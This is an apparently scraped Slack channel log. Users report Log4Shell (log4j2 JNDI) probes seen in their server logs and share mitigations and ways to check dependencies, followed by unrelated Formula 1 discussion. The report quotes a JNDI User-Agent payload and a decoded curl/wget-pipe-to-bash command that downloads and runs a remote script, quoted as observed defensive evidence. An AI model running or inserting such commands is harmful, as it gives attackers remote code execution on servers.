Fork me on GitHub

An experience report on the log4j2 issue -- I already posted this on another Slack where there was a very active discussion about the vulnerability: > According to our Apache logs, we've been seeing probes for this exploit since 10/Dec/2021:09:22:16 +0000 (that's UTC) and while most have seemed to be "straightforward" LDAP queries back to mostly Russian servers with no payload, presumably just to test whether JNDI lookup was succeeding via logging, we've also seen some requests in this format:

access_log: - - [10/Dec/2021:18:22:04 +0000] "GET / HTTP/1.1" 302 132 "-" "${jndi:}"
which did not get logged via log4j2 but decodes to
(curl -s||wget -q -O-|bash
where x.x.x.x is the server's public IP address -- so, if executed, that would download and run an arbitrary shell script on your server! > All our servers were running log4j2 2.14.1 already so we added `-Dlog4j2.formatMsgNoLookups=true` as a JVM option and restarted everything. > Our next production build will include log4j2 2.15.0 for everything. > It looks like the ports used in the LDAP requests are rotating. So I assume the attacking program starts a listener on a random port, probes a remote server sending that port number, waits for an appropriate time for a response, and then shuts down the listener and switches to a new port. We were seeing multiple requests from the same IP addresses, specifying the same LDAP hosts (using a different IP address), with multiple ports. > One batch of probes used this LDAP URI <ldaps://> where the prefix segment before .probe001 was a random hex string. Again, rotating listeners to make it harder to figure out what the probe was doing. > All the early probes came from this IP (a Russian server). The fancy stuff came from (which is running on Digital Ocean). Some of the Basic/Command probes came from (Bangladesh), others from (Russia).

😮 2
👍 1
Darin Douglass12:12:30

I too saw the curl bash probe attempt, crazy stuff


Very interesting, thank you for sharing.


Thanks you for sharing. I've x-posted to a couple of other slacks (with attribution, of course).


really baffled by why log4j people thought it's a good default behavior to do lookups inside of %m for stuff that can trigger network activity


who even thinks of such madness 🙂


whilst many run newer jvm versions that don't execute remote java code, the machines with vulnerable log4j versions are still a massive array of DDoS boxes (you can nuke themselves by specifying non existing ldap targets or nuke others by telling that their :443 or :80 is the ldap server)


at times like these though it is good if you have been very strict on keeping codebase up to date and deployable so you can roll out the log4j update even to hundreds of microservices quickly


The defaults in "newer jvm versions" only suppress some vectors, as I understand it. There are still lookups-by-default enabled for this current CVE on modern JDKs -- at least that's what I get from a lot of the security analyses...


But, yeah, opting people into arbitrary code substitution by default seems like a spectacularly bad decision.

🙌 2

When t.d.a. added the prep-lib stuff, my first thought was "why doesn't it do it automatically for me?" and then I thought "hmm, arbitrary code execution" and realized it was probably a really good idea that you get a list of libs that expect you to "prep" them and you have to opt into that explicitly so you can review what they actually do. Not that we already examine every new dependency we add to projects in general I guess, despite the "launch missiles" possibility of automatically executed initialization code... 🤷:skin-tone-2:


So the probing started maybe 24 hours ago, making this truly a "zero-day" exploit and it certainly includes at least some explicit RCE attempts.

👍 1

is lein deps :tree | grep log4j sufficient to tell if we’re running a vulnerable version?


yes You can automate it as well with in case your dep tree changes in a future (or new CVEs pop up, oc)

👏 1

Thank you 🙏 We’ll run nvd-clojure in CI for all our projects

❤️ 1

Any idea why lein deps :tree | grep log4j would return no results, but jar tf uberjar.jar | grep log4j shows that log4j was included?


profiles matter, try something like lein with-profile -user,-dev,+uberjar deps :tree or whatever profile combination is closer to production / your uberjarring process


I have a pretty extensive test matrix which I'd want to add as a GH status check. Can't one add the whole GH Actions workflow instead of each job individually?


not sure if that has to do, my problem is that when I'm in the Branch protection rule page I have to add every single job from the matrix as a status check. If the matrix has 30 items total I have to click around 30 times, there has to be a better way


Final qualifying for formula 1 in the books. Championship leaders are exactly tied and it's a heads up race winner takes all.

Alex Miller (Clojure team)14:12:23

I'm sure it will be a casual start tomorrow. Will be interesting to see how the tire start plays out


Yeah that flat spot might be incredibly important. Hope we have a clean getaway. And hopefully checo can stay in the mix


But the race pace of the Mercedes' might prove too much. Maybe a two stop strategy and a late charge to the finish


I hope max can do it but I doubt it. He should have had it wrapped up by now if not for a puncture, being punted off by Hamilton and being punted off by Bottas.


Hamilton should go down as the luckiest F1 driver of all time.


He's incredible. But he also gave up a race win with the brake magic fluke in Baku.


Oscar piastri has been incredible in his rookie F2 season, sealing the championship with five consecutive pole positions. If you have F1 tv you can watch the whole F2 and F3 seasons. And they are great racing


I'm actually happy that both drivers are on different strategies. This will spice things up. Not sure if my heart rate can get any higher but it will be exciting!

Alex Miller (Clojure team)15:12:07

Hamilton is not just lucky, he's an amazing driver. I'm team Red Bull but respect to him


100%. He is incredible. Such a good driver the queen knighted him and as far as I know the only driver to be active when a part of a track was named after him. I'm hoping he does what he has always done, and hope that max and Red Bull can rise to that high bar and take the last championship in these regulations

Alex Miller (Clojure team)14:12:00

what a freaking end, omg

Alex Miller (Clojure team)14:12:37

gonna be fighting about this for a long time


that was a terrible ending


i wanted max to win, but I've never seen a race in 20+ years where they only allow n cars to unlap themselves to intentionally allow 2 cars to get close at front


I think Merc will protest that


thats not how I wanted Max to win it

Alex Miller (Clojure team)14:12:22

I mean, I can see race control wanting to set up a situation where the two clear leaders get to dog fight but hard to say it was "fair"

Alex Miller (Clojure team)14:12:39

Hamilton just sitting in his car


i'm so glad they got us racing rather than finishing under safety car


oh there might be a legitimate protest. only 5 cars were allowed to unlap, not the whole field

Alex Miller (Clojure team)14:12:02

I didn't understand why they retired perez?


and how did Ferrari get 3rd! 😄


I hope Ferrari is good next season.

Alex Miller (Clojure team)14:12:07

it would be great to see Ferrari and McLaren more regularly in the top mix and not just Merc and RB


i'm hoping for a better mix of performance next year in addition to closer following due to aero changes. I've really enjoyed F2 and F3 for this reason


the spec series give phenomenal racing the whole race through


checo did the best lap at 5+ seconds off the pace and holding lewis behind. that was absolutely amazing


awkward muted podium


i missed the last 10 minutes making cookies, have merc commented on it ?


I've seen on Twitter that Mercedes' have launched two separate protests or appeals


This will get decided months from now in court


I reckon this will get overturned, and the FIA will decide to remove the last lap.


those two rules are procedure for resuming race after safety car and passing a car under safety car


And they will classify at the position when the race was at laps-1


i don't think the protest against max will go anywhere. i don't think anyone has any idea what to do about the protest against the race resumption


Overtaking under the safety car protest is dismissed


As it should have been, plenty of people have done that in the past with no penalty


I think if winning the title was decided over something as petty as that Mercedes would have looked really bad


One of the commentators on sky mentioned that Merc might threaten to leave if they aren't given the championship


0% chance.


I agree there is a 0% chance they leave, but I can see them making the threat.


second one appeal dismissed


If that's true, I wouldn't believe anything red bull says, it just means this gets sorted in court over the next few months


it's official

👏 1

I still think this gets appealed and will eventually go to some court of arbitration.


Just hope it doesn't drag on till next season. Regardless of who wins in the end, I don't think this is good for the sport


I can't imagine a world championship decided in court, by lawyers arguing over the meaning of a certain phrase in some paragraph buried in 100s of pages of regulations


Mercedes have notified they will appeal. Apparently the procedure is 48 hours of gathering data and putting together a case. I don't know which authority it goes to though. FIA or some higher sports authority


UNless we lose, then we appeal and win it in the court, you know given how dominant merc have been for so long, its kinda embarrasing to see them losing this badly.


Interesting theory I saw online about checos retirement. Pure speculation but a guess his car was only fueled for 3/4 of the race distance to improve his pace. Complete speculation but I'm in awe and it sounds like something Horner could try

😮 1

I'm not sure that's possiblye, don't they have a minimum fuel limit?


anyway, I'm glad max won. but the race directing and stewarding has been appalling the last few races


I’m aware of a maximum fuel limit and max fuel flow rate. Never have heard of a minimum except for a required 0.7 liter fuel sample required of all cars classified. And if you plan on retiring doesn't seem applicable


hmm, I may be misremembering


What a wild ending that was...


Fortunately I suspect that it doesn’t make outbound HTTP requests.


It’s a good demonstration of the scope of the problem, though.


So the first interplanetary pwnage is up for grabs, but the latency is going to be a PITA 😝


Sounds like the next plot line (or should I say ... exploit line) for Star Trek Discovery


Any idea why lein deps :tree | grep log4j would return no results, but jar tf uberjar.jar | grep log4j shows that log4j was included?